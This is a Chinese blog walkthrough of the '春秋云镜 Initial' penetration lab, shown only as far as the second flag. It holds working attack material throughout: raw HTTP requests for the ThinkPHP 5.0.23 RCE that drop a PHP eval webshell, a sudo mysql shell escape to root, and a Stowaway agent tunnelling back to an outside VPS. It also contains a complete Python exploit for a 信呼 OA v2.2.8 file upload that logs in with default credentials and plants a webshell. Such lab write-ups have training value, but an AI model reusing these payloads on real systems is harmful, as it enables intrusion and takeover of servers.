春秋云镜Initial

(Updated: )
春秋云镜

好久没打内网了，前阵子实习也没顾得上复习一下，另外加上某雀懒得充会员了，所以打算重新打一下然后把内容写到博客里面

考点

  • thinkphp 5.0.23 RCE

  • mysql命令提权

  • 信呼文件上传nday

  • ms17-010(永恒之蓝)

  • DCSync

flag1

fscan扫端口

https://github.com/shadow1ng/fscan

1
./fscan -h [host] -p 1-65535

我们扫一下机器开放的端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@VM-16-12-ubuntu:/opt# ./fscan -h 39.99.239.120  -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.99.239.120:22 open
39.99.239.120:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.239.120      code:200 len:5578   title:Bootstrap Material Admin
[+] PocScan http://39.99.239.120 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/2
[*] 扫描结束,耗时: 43.475779494s

很明显了，扫出一个ThinkPHP 5.0.23版本的RCE漏洞CVE-2018-20062 https://blog.csdn.net/cscscys/article/details/121792631

访问出来是一个thinkphp框架，利用错误参数报错拿到thinkphp的版本

image-20251023173632079

TPGUI一把梭

用ThinkPHPGUI工具直接打

image-20251023173914849

然后访问马子并用webshell工具连接就行
flag一般在root目录中，但是之前执行了whoami发现并不是root用户，无法访问root目录下的文件，所以需要提权

手动getshell

抓包构造请求

image.png

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?s=captcha HTTP/1.1
Host: 39.99.239.120
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

有回显，那我们尝试写马

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?s=captcha HTTP/1.1
Host: 39.99.239.120
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+"<?php+@eval($_POST[1]);?>"+>1.php

然后访问马子并用蚁剑连接

sudo提权

先看一下当前用户能允许用sudo执行的命令规则

1
sudo -l

蚁剑开虚拟终端运行一下

1
2
3
4
5
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql

www-data 被允许以 root 身份运行 /usr/bin/mysql，并且 无需输入 sudo 密码

利用mysql去执行命令

1
sudo mysql -e '\! /bin/sh'

因为MySQL客户端支持 \! 或 system 命令来执行系统命令，所以我们这里启动一个shell，随后执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh'
(www-data:/var/www/html) $ sudo mysql -e '\! whoami'
root
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root'
flag
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root/flag'
flag01.txt
(www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
 ██     ██ ██     ██       ███████   ███████       ██     ████     ██   ████████ 
░░██   ██ ░██    ████     ██░░░░░██ ░██░░░░██     ████   ░██░██   ░██  ██░░░░░░██
 ░░██ ██  ░██   ██░░██   ██     ░░██░██   ░██    ██░░██  ░██░░██  ░██ ██      ░░ 
  ░░███   ░██  ██  ░░██ ░██      ░██░███████    ██  ░░██ ░██ ░░██ ░██░██         
   ██░██  ░██ ██████████░██      ░██░██░░░██   ██████████░██  ░░██░██░██    █████
  ██ ░░██ ░██░██░░░░░░██░░██     ██ ░██  ░░██ ░██░░░░░░██░██   ░░████░░██  ░░░░██
 ██   ░░██░██░██     ░██ ░░███████  ░██   ░░██░██     ░██░██    ░░███ ░░████████ 
░░     ░░ ░░ ░░      ░░   ░░░░░░░   ░░     ░░ ░░      ░░ ░░      ░░░   ░░░░░░░░  
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01: flag{60b53231-

成功拿到三分之一的flag

内网穿透

成功拿到这台机器的shell之后，我们就需要进行内网穿透以及横向了

先上传一个fscan和stowaway

image-20251023175231478

chmod给权限

1
chmod +x *

然后查看当前内网ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(www-data:/tmp) $ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.1.15  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::216:3eff:fe09:bf10  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:09:bf:10  txqueuelen 1000  (Ethernet)
        RX packets 169704  bytes 151056377 (151.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 93070  bytes 7687167 (7.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1068  bytes 97530 (97.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1068  bytes 97530 (97.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

用fscan扫一下内网ip

1
./fscan -h 172.22.1.0/24

当前目录下生成了一个result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
172.22.1.2:88 open
172.22.1.18:3306 open
172.22.1.18:80 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.15:80 open
172.22.1.2:445 open
172.22.1.15:22 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.21:139 open
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] MS17-010 172.22.1.21	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] OsInfo 172.22.1.2	(Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

  • 172.22.1.21 XIAORANG-WIN7.xiaorang.lab MS17-010
  • 172.22.1.18 XIAORANG-OA01.xiaorang.lab 信呼协同办公系统
  • 172.22.1.2 DC:DC01.xiaorang.lab
  • 172.22.1.15 已拿下

然后我们需要搭建内网代理

https://github.com/ph4ntonn/Stowaway

1
2
3
4
5
6
7
./linux_x64_agent -c 124.223.25.186:1234 -s 123 --reconnect 8

./linux_x64_admin -l 1234 -s 123

use 0

socks 5555

image-20251023180224039

然后我们物理机配置代理

image-20251023180408492

vps配置代理

image.png

然后我们先打信呼OA

flag2

访问信呼OA的地址172.22.1.18，302跳转到登录页面，显示信呼协同办公系统v2.2.8

直接搜漏洞找到一个信呼协同办公系统v2.2.8文件上传漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import requests

session = requests.session()
proxy = {
    "http": "socks5://124.223.25.186:5555",
}

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}

with open("1.php","w") as f:
    f.write("<?php eval($_POST['cmd']);")
    f.close()

session.post(url1, data=data1, proxies=proxy)
res = session.post(url2, files={'file': open('1.php', 'r+')}, proxies=proxy)
os.remove('1.php')

filepath = str(res.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = res.json()['id']
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

session.get(url3, proxies=proxy)
res = session.post(url_pre + filepath,data={"Infernity":"system('whoami');"}, proxies=proxy)
print(res.text)

image.png

然后用蚁剑连接一下，但是蚁剑也是需要配置代理的